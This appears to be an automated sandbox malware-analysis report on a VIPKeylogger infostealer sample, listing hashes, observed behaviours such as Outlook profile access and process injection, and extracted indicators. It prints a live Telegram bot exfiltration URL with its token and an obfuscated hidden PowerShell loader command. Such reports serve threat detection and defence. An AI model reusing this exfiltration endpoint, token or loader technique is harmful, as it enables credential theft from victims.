Analysis
-
max time kernel
141s -
max time network
145s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
23-12-2024 12:00
Static task
static1
Behavioral task
behavioral1
Sample
Azygoses125.exe
Resource
win7-20241010-en
Behavioral task
behavioral2
Sample
Azygoses125.exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral3
Sample
$PLUGINSDIR/nsExec.dll
Resource
win7-20240708-en
Behavioral task
behavioral4
Sample
$PLUGINSDIR/nsExec.dll
Resource
win10v2004-20241007-en
General
-
Target
Azygoses125.exe
-
Size
747KB
-
MD5
723e8d7420209e5658d32ebeaea45b9c
-
SHA1
1fab08989ece01ecd3f485d33a921dd553ccc393
-
SHA256
29807b7bbe150c4005266b07919615984fcc9dec19052ae262374635024c9e2b
-
SHA512
bd1bb8ee484f3d0768ce1afdbc4091e168613f0d162142f8fbf916bbcf5e5e40f43fecf1452976baf898abe4077db184efda918bbedc472016953fb7f6e470e4
-
SSDEEP
12288:hDGZKmormA1WTNBX5CN/8DCYz1JqAxQJuPLaDbguIsFFfDF/dvJimLQrU+UvdmBp:vmor/1WNBYN/iXqAxQJW0kTsF/im/mBp
Malware Config
Extracted
vipkeylogger
https://api.telegram.org/bot7745751910:AAGY46QDCTWO_Pw9iDqZhkNij-i4uwbMgzE/sendMessage?chat_id=7695061973
Signatures
-
VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
-
Vipkeylogger family
-
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 3944 powershell.exe -
Loads dropped DLL 1 IoCs
pid Process 4712 Azygoses125.exe -
Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe Key opened \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe Key opened \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe -
Blocklisted process makes network request 8 IoCs
flow pid Process 19 4072 msiexec.exe 21 4072 msiexec.exe 23 4072 msiexec.exe 25 4072 msiexec.exe 27 4072 msiexec.exe 36 4072 msiexec.exe 39 4072 msiexec.exe 43 4072 msiexec.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 18 drive.google.com 19 drive.google.com -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 35 checkip.dyndns.org -
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
pid Process 4072 msiexec.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
pid Process 3944 powershell.exe 4072 msiexec.exe -
Drops file in Windows directory 1 IoCs
description ioc Process File opened for modification C:\Windows\resources\unthick.ini Azygoses125.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Azygoses125.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language msiexec.exe -
Suspicious behavior: EnumeratesProcesses 11 IoCs
pid Process 3944 powershell.exe 3944 powershell.exe 3944 powershell.exe 3944 powershell.exe 3944 powershell.exe 3944 powershell.exe 3944 powershell.exe 3944 powershell.exe 3944 powershell.exe 4072 msiexec.exe 4072 msiexec.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
pid Process 3944 powershell.exe -
Suspicious use of AdjustPrivilegeToken 23 IoCs
description pid Process Token: SeDebugPrivilege 3944 powershell.exe Token: SeIncreaseQuotaPrivilege 3944 powershell.exe Token: SeSecurityPrivilege 3944 powershell.exe Token: SeTakeOwnershipPrivilege 3944 powershell.exe Token: SeLoadDriverPrivilege 3944 powershell.exe Token: SeSystemProfilePrivilege 3944 powershell.exe Token: SeSystemtimePrivilege 3944 powershell.exe Token: SeProfSingleProcessPrivilege 3944 powershell.exe Token: SeIncBasePriorityPrivilege 3944 powershell.exe Token: SeCreatePagefilePrivilege 3944 powershell.exe Token: SeBackupPrivilege 3944 powershell.exe Token: SeRestorePrivilege 3944 powershell.exe Token: SeShutdownPrivilege 3944 powershell.exe Token: SeDebugPrivilege 3944 powershell.exe Token: SeSystemEnvironmentPrivilege 3944 powershell.exe Token: SeRemoteShutdownPrivilege 3944 powershell.exe Token: SeUndockPrivilege 3944 powershell.exe Token: SeManageVolumePrivilege 3944 powershell.exe Token: 33 3944 powershell.exe Token: 34 3944 powershell.exe Token: 35 3944 powershell.exe Token: 36 3944 powershell.exe Token: SeDebugPrivilege 4072 msiexec.exe -
Suspicious use of WriteProcessMemory 7 IoCs
description pid Process procid_target PID 4712 wrote to memory of 3944 4712 Azygoses125.exe 84 PID 4712 wrote to memory of 3944 4712 Azygoses125.exe 84 PID 4712 wrote to memory of 3944 4712 Azygoses125.exe 84 PID 3944 wrote to memory of 4072 3944 powershell.exe 90 PID 3944 wrote to memory of 4072 3944 powershell.exe 90 PID 3944 wrote to memory of 4072 3944 powershell.exe 90 PID 3944 wrote to memory of 4072 3944 powershell.exe 90 -
outlook_office_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe -
outlook_win_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\Azygoses125.exe"C:\Users\Admin\AppData\Local\Temp\Azygoses125.exe"1⤵
- Loads dropped DLL
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4712 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle hidden "$Okkupationers=gc -raw 'C:\Users\Admin\AppData\Local\magmaet\clenched\Gascon.Som';$Indyndendes=$Okkupationers.SubString(74357,3);.$Indyndendes($Okkupationers) "2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3944 -
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\SysWOW64\msiexec.exe"3⤵
- Accesses Microsoft Outlook profiles
- Blocklisted process makes network request
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
PID:4072
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
6KB
MD51b0e41f60564cccccd71347d01a7c397
SHA1b1bddd97765e9c249ba239e9c95ab32368098e02
SHA25613ebc725f3f236e1914fe5288ad6413798ad99bef38bfe9c8c898181238e8a10
SHA512b6d7925cdff358992b2682cf1485227204ce3868c981c47778dd6da32057a595caa933d8242c8d7090b0c54110d45fa8f935a1b4eec1e318d89cc0e44b115785
-
Filesize
291KB
MD58ee7284edb9d51bc050df373249bf227
SHA1101b642b9a71513c06fb6bff84c068fb456cd516
SHA2562c45fbf06a5dc115d518e12674070767a582f68df30a4eadffa2eaf8aaa9b53e
SHA5127439d672b6c78400297b507968ff9cd45f56b5672765475307e8b8a8b84b462653f743f69cc8da32e35863475b65e15edb24230e67ec777ca4bbf1a4274b241f
-
Filesize
72KB
MD5b044bd82e9954a750fd85843de1c02a3
SHA1e9c94df0e6e0bdf13ab417d7fafad7cd4aaadb43
SHA25654f5c7acb07bc3496890d8dadafa2e4b1073118d0e7c7e6c69b95ecdffabab98
SHA512827525fbdfa186a99510e24ec56c71ee772bed322fcca2d61eef0fce33dd3d37e64b75ed62d6619973f421220746334da6b291211472e2c57eca7dfee2016351
-
Filesize
33B
MD5e23f52386361095bdb7040b09e2216ae
SHA191f31dd82ab80140db621b6dce0b9b5d6b568723
SHA25636467321184a76e0fea592d2896856a37ec18fc8480de66f05d719d93b39d070
SHA51219d18de54b3466f0d283271786b3b308c3be07f21174c46563c4c16292716c52f2c1b85f416ed77143ea6847bfc4c4c37f22296948eac47499276b181f129b9c